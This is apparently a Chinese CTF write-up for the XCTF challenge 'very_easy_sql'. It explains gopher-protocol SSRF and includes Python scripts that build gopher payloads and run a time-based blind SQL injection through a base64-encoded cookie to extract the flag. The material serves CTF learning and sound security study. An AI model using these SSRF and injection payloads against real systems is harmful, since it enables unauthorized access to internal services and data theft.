EZ个蛋,还是要看别人的wp才会。难得扣,思路全来自very_easy_sql

文章目录

  • very_easy_sql
    • gopher协议和ssrf联合使用
    • 构造payload
      • SQL注入

very_easy_sql

主页没有回显,先查看源代码看到注释有use.php。且有一句
you are not an inner user, so we can not let you have identify~.意思是需要以本地用户访问。这里又没有rce、越权、文件包含等。那么很有可能有ssrf。

  • 构造本地访问:use.php/url=127.0.0.1/use.php
    看到有两个输入框,确定了有ssrf

gopher协议和ssrf联合使用

gopher协议是一种信息查找系统,他将Internet上的文件组织成某种索引,方便用户从Internet的一处带到另一处。在WWW出现之前,Gopher是Internet上最主要的信息检索工具,Gopher站点也是最主要的站点,使用tcp70端口。利用此协议可以攻击内网的 Redis、Mysql、FastCGI、Ftp等等,也可以发送 GET、POST 请求。这拓宽了 SSRF 的攻击面

利用:
攻击内网的 Redis、Mysql、FastCGI、Ftp等等,也可以发送 GET、POST 请求
发送GET请求和POST请求
我们现在最多看到使用这个协议的时候都是在去ssrf打redis shell、读mysql数据的时候

  • gopher协议的格式:gopher://IP:port/_TCP/IP数据流

  • GET请求:
    构造HTTP数据包,URL编码、替换回车换行为%0d%0a,HTTP包最后加%0d%0a代表消息结束

  • POST请求
    POST与GET传参的区别:它有4个参数为必要参数
    需要传递Content-Type,Content-Length,host,post的参数
    Content-Length和POST的参数长度必须一致

python脚本生成payload(POST和GET请求都适用)

import urllib.parsepayload = """
POST /flag.php HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 36key=a68a3b03e80ce7fef96007dfa01dc077
"""
tmp = urllib.parse.quote(payload) #对payload中的特殊字符进行编码
new = tmp.replace('%0A','%0D%0A') #CRLF(换行)漏洞
result = 'gopher://127.0.0.1:80/'+'_'+new
result = urllib.parse.quote(result)# 对新增的部分继续编码
print(result)
  • %0d%0a代表空格双重url编码,gopher会将第一个字符吞噬,所以加个下划线
  • 回车换行要变为%0d%0a,但如果直接用工具转,可能只会有%0a
  • 在HTTP包的最后要加%0d%0a,代表消息结束(具体可研究HTTP包结束)

构造payload

brupsuit拿捏一个数据包代入python脚本

import urllib.parsehost = "127.0.0.1:80"
content = "uname=admin&passwd=admin"
content_length = len(content)payload =\
"""POST /index.php HTTP/1.1
Host: {}
User-Agent: curl/7.43.0
Accept: */*
Content-Type: application/x-www-form-urlencoded
Content-Length: {}{}
""".format(host,content_length,content)tmp = urllib.parse.quote(payload) #对payload中的特殊字符进行编码
new = tmp.replace('%0A','%0D%0A') #CRLF(换行)漏洞
result = 'gopher://127.0.0.1:80/'+'_'+new
result = urllib.parse.quote(result)# 对新增的部分继续编码
print(result)


直接开炮
pyload:http://61.147.171.105:53922/use.php?url=gopher%3A//127.0.0.1%3A80/_POST%2520/index.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AUser-Agent%253A%2520curl/7.43.0%250D%250AAccept%253A%2520%252A/%252A%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250AContent-Length%253A%252024%250D%250A%250D%250Auname%253Dadmin%2526passwd%253Dadmin%250D%250A

SQL注入

响应包有如下数据

返回数据包有set-cookie,但是这种ctf要什么cookie呢,看别人wp,cookie是注入点。
bp抓包扔进sqlmap×,因为是gopher协议带进去注入,所以再用一次ssrf脚本√.带上cookie

import urllib.parse
import requests
import time
import base64host = "127.0.0.1:80"
content = "uname=admin&passwd=admin"
content_length = len(content)payload =\
"""GET /index.php HTTP/1.1
Host: localhost:80
Connection: close
Content-Type: application/x-www-form-urlencoded
Cookie: this_is_your_cookie"""tmp = urllib.parse.quote(payload) #对payload中的特殊字符进行编码
new = tmp.replace('%0A','%0D%0A') #CRLF(换行)漏洞
result = 'gopher://127.0.0.1:80/'+'_'+new+"="
result = urllib.parse.quote(result)# 对新增的部分继续编码
print(result)url="http://61.147.171.105:60622/use.php?url="
flag=""
for pos in range(1,50):for i in range(33,127):#poc="') union select 1,2,if(1=1,sleep(5),1) # "#security#poc="') union select 1,2,if(ascii( substr((database()),"+str(pos)+",1) )="+str(i)+",sleep(2),1) # "#flag#poc="') union select 1,2,if(ascii( substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),"+str(pos)+",1) )="+str(i)+",sleep(2),1) # "poc="') union select 1,2,if(ascii( substr((select * from flag),"+str(pos)+",1) )="+str(i)+",sleep(2),1) # "bs = str(base64.b64encode(poc.encode("utf-8")), "utf-8")final_poc=result+bs+"%3B%250d%250a"t1=time.time()res=requests.get(url+final_poc)t2=time.time()if(t2-t1>2):flag+=chr(i)print(flag)break
print(flag)

捏吗的,不知道为啥第一位是错的。在写脚本时要注意=别被二次编码了。一道题,难得扣

xctf very_easy_sql相关推荐

  1. XCTF联赛“出海计划”开启,八月新加坡站国际赛蓄势待发

    作为目前全国最高技术水平和最具影响力的网络安全技术对抗赛事,8月24日-25日,XCTF联赛将联合亚洲地区历史最悠久.影响面最广的安全大会HITBSecConf,在新加坡举办HITB GSEC CTF ...

  2. 【偶尔一道ctf】xctf adword mobile easy-apk

    最近在学习ctf,偶尔会做一些ctf题,打算记录下做题的步骤和思路,打算学习ctf的小白可以跟着一起动手学习.本题是安卓题目. 题目apk下载地址 https://adworld.xctf.org.c ...

  3. XCTF WEB simple_php

    https://adworld.xctf.org.cn/task/answer?type=web&number=3&grade=0&id=5072 题解: 掌握php弱类型比较 ...

  4. XCTF WEB simple_js

    https://adworld.xctf.org.cn/task/answer?type=web&number=3&grade=0&id=5067 题解: F12查看网页源代码 ...

  5. XCTF WEB command_execution

    https://adworld.xctf.org.cn/task/answer?type=web&number=3&grade=0&id=5071 题解: windows或li ...

  6. XCTF WEB webshell

    https://adworld.xctf.org.cn/task/answer?type=web&number=3&grade=0&id=5070 版本一 题解:修改HTML代 ...

  7. XCTF WEB weak_auth

    https://adworld.xctf.org.cn/task/answer?type=web&number=3&grade=0&id=5069 题解:暴力破解 工具:Bur ...

  8. XCTF WEB xff_referer

    https://adworld.xctf.org.cn/task/answer?type=web&number=3&grade=0&id=5068 题解: 工具:Burp Su ...

  9. XCTF WEB disabled_button

    https://adworld.xctf.org.cn/task/answer?type=web&number=3&grade=0&id=5066 题解: 修改HTML代码 然 ...

最新文章

  1. mysql 慢查询sql实例_Mysql sql慢查询监控脚本代码实例
  2. 互信息的数学解释以及matlab编程
  3. c语言游戏菜单栏,C语言小游戏之打砖块
  4. ffplay播放没有声音SDL_OpenAudio (2 channels, 44100 Hz): WASAPI can't initialize audio client
  5. 布隆过滤算法c语言,通过实例解析布隆过滤器工作原理及实例
  6. UVALive5461 UVA615 POJ1308 Is It A Tree?(解法二)【废除!!!】
  7. [CTO札记]雅虎主页改版使用户停留时间增加20% -
  8. 线性回归 - LinearRegression - 预测糖尿病 - 量化预测的质量
  9. 使用Maven下载jar包
  10. c语言for语句用法和例子
  11. 好物分享 Kvaser支持CANFD功能的CAN卡都有哪些?
  12. 云南钉钉早教、幼儿园、托儿所一体化智能管理系统解决方案
  13. proteus仿真常见报错信息
  14. 科学计算机calc在哪儿,‎App Store 上的“NCalc科学计算器+”
  15. java的lookup方法_lookup方法注入
  16. YarnAllocator:Container killed by YARN for exceeding memory limits. spark.yarn.executor.memoryOverhe
  17. CentOS7安装k8s服务--Master节点和Node节点
  18. 2015年09月29日
  19. Linux下默认字体是什么,linux默认字体是什么
  20. 57个机器人流程自动化应用场景:RPA深入指南[2019更新]

热门文章

  1. 自定义 PSPad 文本编辑器 编辑热键 By shawl.qiu
  2. phpmailer 私密抄送_使用PHPMailer发送邮件实例
  3. 网站web服务器分析小程序
  4. 360百科词条怎么创建(教你100%通过审核方法)
  5. 车联网解决方案(PPT)
  6. 当千元机遇上GPU Turbo,红海市场会再起波澜吗?
  7. 小学生作文数据集查找
  8. 引流获客哪个渠道比较好?
  9. 神经网络与深度学习(一)
  10. React框架简介(JSX语法、组件、虚拟DOM渲染)